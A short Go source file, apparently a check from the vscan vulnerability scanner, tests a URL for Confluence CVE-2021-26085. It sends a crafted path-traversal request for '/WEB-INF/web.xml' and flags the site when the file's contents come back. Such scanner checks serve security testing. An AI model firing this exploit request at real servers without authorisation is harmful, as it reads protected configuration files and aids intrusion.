package confluence

import (
	"fmt"
	"github.com/veo/vscan/pkg"
	"strings"
)

func CVE_2021_26085(u string) bool {
	if req, err := pkg.HttpRequset(u+"/s/1/_/;/WEB-INF/web.xml", "GET", "", false, nil); err == nil {
		if strings.Contains(req.Body, "display-name") {
			pkg.GoPocLog(fmt.Sprintf("Found Confluence CVE_2021_26085|--\"%s\"\n", u))
			return true
		}
	}
	return false
}
